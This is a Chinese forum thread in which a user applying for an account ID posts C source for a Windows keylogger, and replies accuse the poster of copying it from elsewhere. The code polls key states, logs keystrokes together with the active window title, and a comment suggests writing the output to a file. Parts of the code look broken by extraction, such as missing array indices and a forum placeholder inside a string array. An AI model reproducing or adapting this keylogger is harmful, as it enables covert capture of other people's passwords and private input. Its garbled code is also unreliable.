发表于 2016-2-16 18:17

申 请 I D:江少

1、申 请 I D:江少
2、个人邮箱:321648591@qq.com
3、原创技术文章:c语言键盘记录源码
本人初中狗一名,仅抱着对计算机的热爱,编写各种程序,软件,C语言。
#include <windows.h>
#include <stdio.h>

// 一些全局变量

// 小写字母键 & 其它的一些键
char *LowerCase[]={
"b",
"e",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"`",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"",
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"'",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
",",
".",
"/",
"\\",
"",
"",
" ",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};

// 大写字母键 & 其它一些键
char *UpperCase[]={
"b",
"e",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"~",
"!",
"@",
"#",
"[      DISCUZ_CODE_0      ]quot;,
"%",
"^",
"&",
"*",
"(",
")",
"_",
"+",
"",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"}",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
":",
"\"",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"<",
">",
".?",
"|",
"",
"",
" ",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};

// Ascii码键,忘掉它们
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
110,
};

HWND PreviousFocus=NULL;
// 数据结束

// 函数原型生命
//----------------------------------------------------------------------
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
//----------------------------------------------------------------------
// 函数原型声明结束

// 主要的过程
int main()
{
KeyLogger(); // 进行键盘记录
return 0; // 程序退出
}
// 主要过程结束

//-------------------------------------------------------------------------
// 目的:要检查活动窗口标题
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow(); // 检索活动窗口焦点
BOOL ReturnFlag = FALSE; // 声明返回标志
if (hFocus != PreviousFocus) // 如果活动窗口已更改
{
   PreviousFocus = hFocus;   // 保存旧活动的 Windos 焦点
   int WinLeng = GetWindowTextLength(hFocus); // 获取活动窗口标题的长度
   char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // 给标题分配内存
   GetWindowText(hFocus,WindowCaption,(WinLeng + 1));   // 活动窗口标题检索
   if (strlen(WindowCaption) > 0) // 如果获得的是真正的窗口标题
   {
printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // 显示活动窗口的标题
ReturnFlag=TRUE; // 指示已更改 Windows 的焦点
   }
   free(WindowCaption);   // 释放已分配的内存
}
return ReturnFlag; // 返回标志
}// 结束获得窗口焦点变化

//-------------------------------------------------------------------------
// 目的: 管理(显示)检测到的来自系统密钥缓冲区的键
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL KeyLogger()
{
int bKstate = {0};   // 关键声明
int i,x;
char KeyBuffer;   // 缓冲区数组
int state; // 记录一些特别的键,像CapsLock,Shift和ect
int shift;

// 重置缓冲区
memset(KeyBuffer,0,sizeof(KeyBuffer));

while(TRUE)   // 创造一个死循环(无限次获得用户的键盘内容)
{
   Sleep(8); // 避免过度占用CPU
   if (IsWindowsFocusChange()) //检查活动窗口标题
   {
if (strlen(KeyBuffer) != 0) // 如果按下了键
{
   printf("%s\r\n",KeyBuffer); // 显示按下的这个键
   memset(KeyBuffer,0,sizeof(KeyBuffer));   // 重置缓冲区
}
   }

   for(i=0;i<95;i++)   // 检查视觉的循环
   {
shift = GetKeyState(VK_SHIFT); // 检查是否按下 shift 键
x = SpecialKeys; // 找到这个键
if (GetAsyncKeyState(x) & 0x8000) // 检查键的组合
{
   // 看看CapsLocak或shift键是否按下
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) // 如果没按下Caps Lock键和Shift键
{
       bKstate = 1;   //大写字母 A-Z
}
else
       if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //如果按下了Caps Lock键和Shift键
       {
       bKstate = 2;   //小写字母 a-z
       }
       else
       if (shift < 0) //按下 shift 键
       {
         bKstate = 3;   //大写字母 A-Z
       }
       else
         bKstate = 4;   //小写字母 a-z
}
else
{
   if (bKstate != 0)   // 没有检测到的组合键
   {
       state = bKstate; // 检索当前状态
       bKstate = 0; // 重置当前状态
       if (x == 8)   // 如果检测到删除键
       {
      KeyBuffer = 0; // 一键恢复
      continue; // 启动一个新的循环
       }
       else
      if (strlen(KeyBuffer) > 550) // 缓冲区满
      {
         printf("%s <Buffer Full>",KeyBuffer); // 显示键检索
         memset(KeyBuffer,0,sizeof(KeyBuffer));   //重置缓冲区
         continue; // 开始一个新循环
      }
      else
         if (x == 13) // 如果检测到Enter键
         {
             if (strlen(KeyBuffer) == 0) // 除Enter键之外没有检测到其它键
             {
                           continue; // 开始一个新循环
             }
             printf("%s<Enter>\r\n",KeyBuffer); // 检索Enter键和其它键
             memset(KeyBuffer,0,sizeof(KeyBuffer)); // 显示Enter键
             continue; // 开始一个新循环
         }
         else
            if ((state%2) == 1) //必须是大写字符
             {
            strcat(KeyBuffer,UpperCase); // 存储一个键到缓冲区
             }
             else
               if ((state%2) == 0) // 必须是小写字符
            {
               strcat(KeyBuffer,LowerCase); // 存储一个键到缓冲区
            }
   }
}
   }// 结束for循环
}// 结束while循环
return TRUE; // 返回一个值并结束函数
}// 结束键盘记录
// 结束文件
//如果想把结果保存下来,只需要把其中的输出函数替换为输出到文件就可以了


Hmily 发表于 2016-2-16 18:22

这申请内容到处都是,你是原作者吗?

楚轩 发表于 2016-2-16 18:30

楼主,自力更生吧

Deja_You 发表于 2016-2-16 18:30

如果是原作者的话能有这个能力也挺不错

话说“江少”这个ID还没被占用啊?

520_ai_in@sina. 发表于 2016-2-16 18:37

http://www.zixue7.com/thread-647-1-1.html 到处都是楼主原创?

hstzsf 发表于 2016-2-16 18:42

别来丢人了

z234465027 发表于 2016-2-16 18:44

呵呵 这个是原创么?

aajjhd 发表于 2016-2-16 19:00

Aliman 发表于 2016-2-16 19:07

http://tieba.baidu.com/p/2733857412到处都是楼主原创?

a5680497 发表于 2016-2-16 19:11

Aliman 发表于 2016-2-16 19:07
http://tieba.baidu.com/p/2733857412到处都是楼主原创?

呵呵,大神好厉害啊,这些帖子都能找到啊
页: [1] 2 3 4
查看完整版本: 申 请 I D:江少